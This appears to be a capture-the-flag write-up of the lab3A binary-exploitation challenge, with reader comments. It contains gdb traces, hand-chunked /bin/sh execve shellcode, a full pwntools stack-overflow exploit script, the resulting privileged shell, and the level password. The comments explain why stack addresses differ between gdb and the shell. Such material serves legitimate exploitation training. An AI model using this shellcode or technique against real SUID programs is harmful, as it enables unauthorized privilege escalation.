[----------------------------------registers-----------------------------------] EAX: 0xbffff568 --> 0x0 EBX: 0xbffff568 --> 0x0 ECX: 0x65 ('e') EDX: 0xbffff6f8 ("store") ESI: 0x0 EDI: 0xbffff6f8 ("store") EBP: 0xbffff718 --> 0x0 ESP: 0xbffff550 --> 0xbffff568 --> 0x0 EIP: 0x8048b67 (<main+341>: call 0x8048917 <store_number>) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048b5e <main+332>: jne 0x8048b75 <main+355> 0x8048b60 <main+334>: lea eax,[esp+0x18] 0x8048b64 <main+338>: mov DWORD PTR [esp],eax => 0x8048b67 <main+341>: call 0x8048917 <store_number> 0x8048b6c <main+346>: mov DWORD PTR [esp+0x1bc],eax 0x8048b73 <main+353>: jmp 0x8048bd2 <main+448> 0x8048b75 <main+355>: mov DWORD PTR [esp+0x8],0x4 0x8048b7d <main+363>: mov DWORD PTR [esp+0x4],0x8048f63 Guessed arguments: arg[0]: 0xbffff568 --> 0x0 [------------------------------------stack-------------------------------------] 0000| 0xbffff550 --> 0xbffff568 --> 0x0 0004| 0xbffff554 --> 0x8048f5d ("store") 0008| 0xbffff558 --> 0x5 0012| 0xbffff55c --> 0x0 0016| 0xbffff560 --> 0xb7fff55c --> 0xb7fde000 --> 0x464c457f 0020| 0xbffff564 --> 0xbffff5c8 --> 0x0 0024| 0xbffff568 --> 0x0 0028| 0xbffff56c --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x08048b67 in main ()
The breakpoint stopped the execution right before the call to store_number
. The last instruction pushed the address of data
on the stack. Thus the first item on the stack is the address we are looking for: 0xbffff568
.
Now we can continue the execution:
gdb-peda$ c Continuing. Number: 1337 Index: 1 Completed store command successfully Input command: quit
As we function store_number
has been called, we enter some number and an index which meets the requirements (index % 3 != 0
). After that we enter the command quit
in order to leave the program and hit our second breakpoint:
[----------------------------------registers-----------------------------------] EAX: 0x0 EBX: 0xb7fcd000 --> 0x1a9da8 ECX: 0x74 ('t') EDX: 0xbffff6f8 ("quit") ESI: 0x0 EDI: 0x0 EBP: 0x0 ESP: 0xbffff71c --> 0xb7e3ca83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) EIP: 0x8048c3b (<main+553>: ret) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048c38 <main+550>: pop ebx 0x8048c39 <main+551>: pop edi 0x8048c3a <main+552>: pop ebp => 0x8048c3b <main+553>: ret 0x8048c3c: xchg ax,ax 0x8048c3e: xchg ax,ax 0x8048c40 <__libc_csu_init>: push ebp 0x8048c41 <__libc_csu_init+1>: push edi [------------------------------------stack-------------------------------------] 0000| 0xbffff71c --> 0xb7e3ca83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax) 0004| 0xbffff720 --> 0x1 0008| 0xbffff724 --> 0xbffff7b8 --> 0x0 0012| 0xbffff728 --> 0xbffff814 --> 0x0 0016| 0xbffff72c --> 0xb7feccea (<call_init+26>: add ebx,0x12316) 0020| 0xbffff730 --> 0x1 0024| 0xbffff734 --> 0xbffff7b4 --> 0xbffff8d3 --> 0x0 0028| 0xbffff738 --> 0xbffff754 --> 0x94468690 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x08048c3b in main ()
The execution stopped before the ret
instruction. Thus the return address is located at the top of the stack which is the address 0xbffff71c
.
Now we have got the address of the data
buffer (0xbffff568
) and the return address (0xbffff71c
). Nevertheless remember that these addresses may vary slightly if the binary is not executed in gdb
.
The offset to the return address is 0xbffff71c - 0xbffff568 = 436
byte.
shellcode
Since we can control the instruction pointer now, we have to deploy a shellcode which should be executed.
Where can we store our shellcode? As we have already seen, we cannot use arguments to the program or environment variables. So the obvious place seems to be the data
buffer. As we figured out, there are some restriction for that buffer:
–> index % 3 != 0
–> number >> 24 != 0xb7
That means that we can only store two adjacent 4-byte values, followed by one reserved 4-byte value:
We can only use the blue coloured bytes for our shellcode. The red bytes contain 0, because the array has been initialized with 0, and we cannot store a value here.
What would happen if we store our shellcode in the blue bytes with the red gaps in between? After the last instruction stored in the blue area, the processor would proceed to interpret the next byte in the red area as an instruction and raise an exception because 0x00
is not a legal instruction.
Thus we have to prevent the red bytes from being executed by jumping over these bytes:
The op-code eb 04
defines a relative jump of 4 bytes from the current position. Thus we can make the processor continue the execution in the next blue area.
As you can see in the picture we have to split our shellcode in 6 bytes chunks. We must also consider that the values are written as 4-byte unsigned integers being stored in little endian.
As a starting point I used the shellcode from the first level of this lab, which simply spawns a /bin/sh
shell (I truncated the syscall of exit
):
31 c0 xor eax, eax 50 push eax 68 2f 2f 73 68 push 0x68732f2f 68 2f 62 69 6e push 0x6e69622f 89 e3 mov ebx, esp 89 c1 mov ecx, eax 89 c2 mov edx, eax b0 0b mov al, 0xb cd 80 int 0x80
When splitting the shellcode into chunks of 6 bytes, we must keep instructions which are a few bytes long in one chunk:
31 c0 50 68 2f 2f 73 68 68 2f 62 69 6e 89 e3 89 c1 89 c2 b0 0b cd 80
Now we need to fill the gaps with nop
instructions as we would otherwise also run into a null-byte (we can skip the last chunk):
31 c0 50 90 90 90 68 2f 2f 73 68 90 68 2f 62 69 6e 90 89 e3 89 c1 89 c2 b0 0b cd 80
At next we append the jumps to the next chunk:
31 c0 50 90 90 90 eb 04 68 2f 2f 73 68 90 eb 04 68 2f 62 69 6e 90 eb 04 89 e3 89 c1 89 c2 eb 04 b0 0b cd 80
At last we convert the values to 4-byte unsigned integers (little endian):
0x9050c031 0x04eb9090 0x732f2f68 0x04eb9068 0x69622f68 0x04eb906e 0xc189e389 0x04ebc289 0x08cd0bb0
If we now store the values at the correct index, the resulting memory looks like this:
In order to do this I wrote the following python-script using pwntools
:
lab3A@warzone:~$ cat /tmp/exploit_lab3A.py from pwn import * def store(p, val, idx): p.sendline("store") p.recv(100) p.sendline(str(val)) p.recv(100) p.sendline(str(idx)) print(p.recv(100)) # start up program and read inital output p = process("./lab3A") p.recv(1000) # overwrite return address addr = int(sys.argv[1], 16) store(p, addr, 109) # store shellcode store(p, 0x90909090, 1) store(p, 0x04eb9090, 2) store(p, 0x90909090, 4) store(p, 0x04eb9090, 5) store(p, 0x90909090, 7) store(p, 0x04eb9090, 8) store(p, 0x90909090, 10) store(p, 0x04eb9090, 11) store(p, 0x90909090, 13) store(p, 0x04eb9090, 14) store(p, 0x9050c031, 16) # xor eax, eax; push eax store(p, 0x04eb9090, 17) store(p, 0x732f2f68, 19) # push 0x68732f2f store(p, 0x04eb9068, 20) store(p, 0x69622f68, 22) # push 0x6e69622f store(p, 0x04eb906e, 23) store(p, 0xc189e389, 25) # mov ebx, esb; mov ecx, eax; mov edx, eax store(p, 0x04ebc289, 26) store(p, 0x80cd0bb0, 28) # mov al, 0xb; int 0x80 p.sendline("quit") p.interactive()
The script simply runs the program (line 13) and overwrites the return address stored at index 109
(offset: 436 / 4 = 109
) with an address passed as argument to the script (sys.argv[1]
, lines 17-18). After that the shellcode is placed in the corresponding (blue) areas. Before the actual shellcode I place an additional nop-sled. The final command quit
makes the program quit and thus executing our shellcode (line 50). With the last line p.interactive()
(line 51) stdin
is rebound to the keyboard-input.
As we have seen in the last levels, the stack addresses determined using gdb
may vary when directly executing the program. Thus we have to try different addresses to finally hit our shellcode. This address for data
we determined using gdb
has been 0xbffff568
. Because the shellcode begins at the second element we start with the address 0xbffff56c
:
lab3A@warzone:/levels/lab03$ python /tmp/exploit_lab3A.py 0xbffff56c [+] Starting program './lab3A': Done Completed store command successfully Completed store command successfully Completed store command successfully ... [*] Switching to interactive mode [*] Got EOF while reading in interactive
Got EOF while reading in interactive
: not yet.
lab3A@warzone:/levels/lab03$ python /tmp/exploit_lab3A.py 0xbffff54c [+] Starting program './lab3A': Done Completed store command successfully Completed store command successfully Completed store command successfully ... [*] Switching to interactive mode
No EOF
! Looks good 🙂
$ whoami lab3end $ cat /home/lab3end/.pass sw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps
Done 🙂 The final password for this lab is sw00g1ty_sw4p_h0w_ab0ut_d3m_h0ps
.
Hi,
I use the same payload with you for lab3B, but cannot succeed.
I can land on my shellcode without problem.
But it does not read into esp, nor writes to stdout.
https://prnt.sc/s94oei
What would you recommend ?
Hey Emre,
the file /home/lab3A/.pass can only be read by the lab3B binary, because it runs with the permissions of the lab3A user (SUID bit set). When you run the binary within gdb this privilege will be dropped (otherwise you could modify the execution flow within gdb and easily escalate your privileges). This means that the shellcode will only work if you trigger it outside of gdb (keep in mind that the stack address may vary). Also within your shellcode EDX only contains 0xc for the read and write syscall, which won’t print the full password.
I hope this will help you. Otherwise please send me your full payload 🙂
Thank you very much for the information that suid bit is dropped while debugging.
However, I already executed it from the shell 🙂
Again it could not printed any single character of the password.
I tried the address space beginning from 0xbffff550 to 0xbffff660 but the result was not changed.
EDX is 0xc, because when it is set to 100, we overwrite our shellcode (overflow inside an overflow :)))
I just tried different values for EDX.
Any help is appreciated
A solid way to determine the very exact address is to run the binary from command line and then attach gdb to the running process. Unfortunately this is not possible here because the child process is already ptraced by the sandbox parent process.
The stack address differs with every change in the environment. Consider the following program:
lab3B@warzone:/tmp$ cat a.c
#include
int main() {
char p;
printf(“%p\n”, &p);
return 0;
}
If we compile and run it, we get the stack address of the local variable p:
lab3B@warzone:/tmp$ gcc a.c -o a
lab3B@warzone:/tmp$ ./a
0xbffff6cf
Even a single newly introduced environment variable changes this address:
lab3B@warzone:/tmp$ export TEST_TEST=1
lab3B@warzone:/tmp$ ./a
0xbffff6af
If you are sure your shellcode is working, bruteforcing different addresses as you already did is a common approach. To further narrow down the possible addresses, you can start by determining the address of the target binary in gdb and then subtract/add the difference, which you can determine by running the program mentioned above from the command line and with gdb.
For this example (without the newly introduced environment variable) the difference is 80:
lab3B@warzone:/tmp$ gdb ./a
Reading symbols from ./a…(no debugging symbols found)…done.
gdb-peda$ r
Starting program: /tmp/a
0xbffff71f
[Inferior 1 (process 1683) exited normally]
Warning: not running or target is remote
gdb-peda$ quit
lab3B@warzone:/tmp$ python
…
>>> 0xbffff71f-0xbffff6cf
80L
This might not be exact because also the name of the binary is part of the environment, but it should give a good starting point. The nop-sled in front of the actual shellcode should even further increase the chance of hitting it.
Hi,
Thank you very much for your excellent writeup and I have successfully solved the three challenges! However there is still something that I do not understand. You mentioned that in lab3B and lab3A the stack addresses may vary when executing gdb or shell, is this caused simply by the gdb priviledge drop or if there exists some other causes? And I remember that you sub 0x20 for both the stack address in lab3B and lab3A, could you please tell me how do you get this value? I simply tried some values when I was doing and I get sub 0x20 for lab3B and sub 0x30 for lab3A, and I do not quite get it… Again thanks a lot!
Hi Noryang,
the stack addresses vary because the environment is stored on the stack. The environment (and especially its length) varies depending on whether the binary is executed directly or within gdb.
The easiest way in my opinion is to run the binary directly and then attach gdb to it in another terminal.